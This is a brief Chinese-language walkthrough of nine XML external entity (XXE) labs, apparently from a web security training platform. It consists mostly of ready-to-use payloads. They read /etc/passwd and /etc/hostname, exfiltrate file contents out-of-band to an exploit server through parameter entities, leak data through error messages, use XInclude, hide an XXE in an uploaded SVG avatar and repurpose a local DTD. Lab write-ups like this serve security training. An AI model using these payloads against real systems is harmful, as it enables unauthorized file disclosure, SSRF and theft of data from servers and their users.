lab1 利用外部實體注入獲取文件
解決此 lab 需要讀取到/etc/passwd
<!DOCTYPE test [
<!ENTITY cmd SYSTEM "file:///etc/passwd">
]>
<productId>&cmd;</productId>
lab2 利用 XXE 執行 SSRF 攻擊
通過構造 xxe 請求特定的 url 獲取目錄
拼接后繼續請求
依次拼接得到的目錄,最后拿到憑證
lab3 外帶數據 xxe
lab4 使用參數實體的外帶數據 XXE
lab5 利用 XXE 外帶竊取數據
lab 指定竊取數據為/etc/hostname
存儲到漏洞服務器 store 下面的內容
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % getfile SYSTEM 'http://burp/?x=%file;'>">
%eval;
%getfile;
]>
漏洞利用服務器中的 url 如下
https://exploit-0a550008042988b880b170af01880017.exploit-server.net/exploit
check stock 抓包,添加如下 xxe 語句
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a550008042988b880b170af01880017.exploit-server.net/exploit"> %xxe;]>
lab6 利用盲XXE通過錯誤消息檢索數據
漏洞服務器存儲下列內容
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % getfile SYSTEM 'file:///invalid/%file;'>">
%eval;
%getfile;
查看漏洞,漏洞 url
https://exploit-0a0d008204c5473da34958a801bb0074.exploit-server.net/exploit
lab7 利用XInclude檢索文件
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
XInclude是W3C標準,用于實現XML文檔的模塊化,允許通過<xi:include>
元素動態引入其他文件的內容。其核心屬性包括:
href
:指定要包含的文件路徑(支持file://
、http://
等協議)。
parse
:控制包含方式,parse="text"
表示以純文本形式直接嵌入內容,不解析為XML結構
lab8 通過圖像文件上傳利用XXE
將下列內容保存為 1.svg 格式
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
通過留言板中上傳頭像
留言成功后可以通過查看頭像顯示的內容獲取到 hostname
lab9 通過重用本地 DTD 利用 XXE 檢索數據
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>